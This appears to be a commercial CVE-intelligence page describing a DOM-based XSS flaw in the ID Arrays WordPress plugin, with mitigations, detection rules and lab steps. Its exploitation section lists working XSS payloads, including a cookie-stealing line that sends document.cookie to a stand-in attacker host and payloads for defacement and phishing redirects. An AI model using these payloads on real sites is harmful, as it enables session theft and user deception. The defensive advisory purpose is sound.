☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Harman79 logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-68854

CVE-2025-68854 Cross-Site Scripting in Harman79
📅 PUBLISHED: 2026-02-20 15:46 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.01%
👁️
0.01% probability
<1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
7.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-68854 is a DOM-Based Cross-Site Scripting (XSS) vulnerability discovered in the ID Arrays WordPress plugin (vendor: Harman79). The vulnerability exists in versions up to and including 2.1.2. It stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject malicious scripts that execute in the victim's browser within the context of the vulnerable WordPress site.

This vulnerability is classified as a WordPress ecosystem issue. The plugin fails to sanitize or escape data that is processed client-side via JavaScript, leading to DOM-based XSS. An attacker can craft a malicious URL or inject payloads through other DOM sources (e.g., document.URL, location.hash, document.referrer) to execute arbitrary JavaScript.

The CVSS v3.1 score is 7.1 (High), with a vector of CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L. The attack vector is network-based, requires low complexity, no privileges, but user interaction (clicking a link) is required. The scope is changed, meaning the injected script can affect resources beyond the vulnerable component.

Key Risk: An attacker can steal session cookies, deface the site, redirect users to malicious domains, or perform actions on behalf of the victim (e.g., changing WordPress admin settings if the victim is an admin).

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Since the patch status is UNKNOWN/UNPATCHED, users of this plugin are at risk. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is part of the WordPress supply chain. Administrators should monitor the plugin's page for updates or consider removing it if no patch is released.

CVSS Breakdown & Threat Level

  • CVSS Score: 7.1 (High)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): Required (R) – Victim must click a crafted link or visit a malicious page.
  • Scope (S): Changed (C) – The injected script can impact resources beyond the vulnerable component (e.g., other browser tabs, cookies).
  • Confidentiality (C): Low (L) – Limited data exposure (e.g., session tokens).
  • Integrity (I): Low (L) – Limited ability to modify content.
  • Availability (A): Low (L) – Limited ability to disrupt service.

Threat Level: High. While user interaction is required, the prevalence of WordPress and the ease of crafting phishing links make this a significant threat. The lack of a patch increases the risk for all users of the plugin.

Deep Dive & Mechanics

The vulnerability is a DOM-Based XSS in the ID Arrays plugin. Unlike reflected or stored XSS, DOM-based XSS occurs entirely on the client side. The server sends a static HTML page, but the JavaScript code within that page processes user input from the DOM (e.g., window.location.hash, document.URL, document.referrer) and writes it back to the page without proper sanitization.

In the ID Arrays plugin, the vulnerable JavaScript likely reads a parameter from the URL fragment (hash) or query string and injects it into the DOM. For example, the plugin might use code similar to:

var userInput = window.location.hash.substring(1);
document.getElementById('output').innerHTML = userInput;

An attacker can craft a URL like:

https://victim-site.com/?page_id=123#<img src=x onerror=alert('XSS')>

When the victim visits this URL, the JavaScript extracts the hash value and writes it to the DOM, causing the onerror event to fire and execute the attacker's script.

The vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'). The specific variant is DOM-Based XSS, which is often harder to detect with server-side scanners.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable pattern and the expected fix.

Vulnerable Code (Conceptual):

// Vulnerable: Directly using user input from DOM source
var hash = window.location.hash.substring(1);
document.getElementById('id-arrays-output').innerHTML = hash;

Patched Code (Expected):

// Patched: Sanitize input before DOM insertion
var hash = window.location.hash.substring(1);
var sanitized = DOMPurify.sanitize(hash);
document.getElementById('id-arrays-output').innerHTML = sanitized;

Or, using safer DOM methods:

// Patched: Use textContent instead of innerHTML
var hash = window.location.hash.substring(1);
document.getElementById('id-arrays-output').textContent = hash;

The patch must ensure that any data derived from DOM sources (hash, search, referrer) is either sanitized with a library like DOMPurify or inserted using safe methods like textContent instead of innerHTML.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A WordPress site with ID Arrays plugin version <= 2.1.2 installed and active.
  • A victim user who will click a crafted link.

Exploit Steps:

  1. Craft the malicious URL. Identify the vulnerable parameter. For ID Arrays, it is likely the URL hash fragment. Example:

    http://victim-site.com/?page_id=123#<img src=x onerror=alert(document.cookie)>
    
  2. Deliver the link. Use social engineering (phishing email, forum post, etc.) to trick the victim into clicking the link.

  3. Payload execution. When the victim clicks the link, the JavaScript in the plugin reads the hash and writes it to the DOM, executing the injected script.

Example Payloads:

  • Steal cookies:
    <img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>
    
  • Deface page:
    <script>document.body.innerHTML='<h1>Hacked</h1>'</script>
    
  • Redirect to phishing page:
    <script>window.location='https://phishing-site.com'</script>
    

No Exploit-DB code was provided.

Blue Team (Detection & Hardening)

Detection:

  • Monitor web server logs for requests containing suspicious patterns in the URL fragment (e.g., <script, onerror, onload).
  • Use browser-based XSS filters (though not fully reliable).
  • Deploy a Web Application Firewall (WAF) with rules to block common XSS payloads in URL parameters and fragments.

Hardening:

  • Immediate: Disable or remove the ID Arrays plugin until a patch is released.
  • Content Security Policy (CSP): Implement a strict CSP header to mitigate the impact of XSS. Example:
    Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
    
  • Input Validation: Ensure all user inputs are validated and sanitized on the server side, even for DOM-based XSS.
  • User Education: Train users not to click suspicious links.

Lab Setup:

  1. Install a local WordPress instance (e.g., using XAMPP or Docker).
  2. Install ID Arrays plugin version 2.1.2.
  3. Create a page that uses the plugin's shortcode.
  4. Craft the exploit URL and test in a browser.
  5. Monitor the browser's developer console for script execution.

Indicators of Compromise (IOCs)

Network IOCs:

  • URLs containing #<script or #<img in the fragment identifier.
  • Outbound HTTP requests to unknown domains from the victim's browser (e.g., GET /steal?cookie=...).

Host IOCs:

  • Presence of the ID Arrays plugin (folder: /wp-content/plugins/id-arrays/).
  • Unusual JavaScript execution in the browser console.
  • Modified DOM content (e.g., unexpected HTML elements).

File IOCs:

  • Plugin files: id-arrays.php, js/id-arrays.js (or similar).
  • No known malicious file hashes.

Detection Engineering

YARA Rule

rule CVE_2025_68854_DOM_XSS {
    meta:
        description = "Detects vulnerable ID Arrays plugin files with DOM-based XSS patterns"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-68854"
        hash = "unknown"
    strings:
        $s1 = "window.location.hash" ascii wide nocase
        $s2 = "location.hash" ascii wide nocase
        $s3 = "innerHTML" ascii wide nocase
        $s4 = "document.URL" ascii wide nocase
        $s5 = "id-arrays" ascii wide nocase
    condition:
        all of ($s1, $s2, $s3) or all of ($s4, $s3, $s5)
}

Sigma Rule

title: CVE-2025-68854 - DOM-Based XSS in ID Arrays Plugin
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects potential exploitation attempts of DOM-based XSS in ID Arrays plugin
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-68854
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - '#<script'
            - '#<img'
            - '#<svg'
            - '#onerror='
            - '#onload='
    condition: selection
falsepositives:
    - Legitimate use of hash fragments with similar patterns (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-68854 - DOM-Based XSS in ID Arrays Plugin"; flow:to_server,established; content:"#<script"; http_uri; nocase; sid:1000001; rev:1;)
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-68854 - DOM-Based XSS in ID Arrays Plugin (img tag)"; flow:to_server,established; content:"#<img"; http_uri; nocase; sid:1000002; rev:1;)
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-68854 - DOM-Based XSS in ID Arrays Plugin (onerror)"; flow:to_server,established; pcre:"/#onerror=/i"; sid:1000003; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin: Deactivate and delete the ID Arrays plugin from all WordPress installations until a patched version is released.
  2. Monitor for updates: Check the WordPress plugin repository regularly for a security update.
  3. Implement CSP: Add a strict Content Security Policy header to mitigate XSS impact.

Long-term Actions:

  1. Apply patch: Once available, update the plugin to the patched version immediately.
  2. Code review: If you are a developer, review the plugin's JavaScript code for any DOM manipulation using innerHTML and replace with safe methods.
  3. Use a WAF: Deploy a Web Application Firewall with rules to block XSS payloads in URL fragments.
  4. User training: Educate users about phishing links and the risks of clicking unknown URLs.

Workaround:

  • If the plugin is critical and cannot be removed, consider using a browser extension that blocks XSS (e.g., NoScript) for users who access the site.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"ID Arrays"
http.html:"wp-content/plugins/id-arrays"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-68854/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.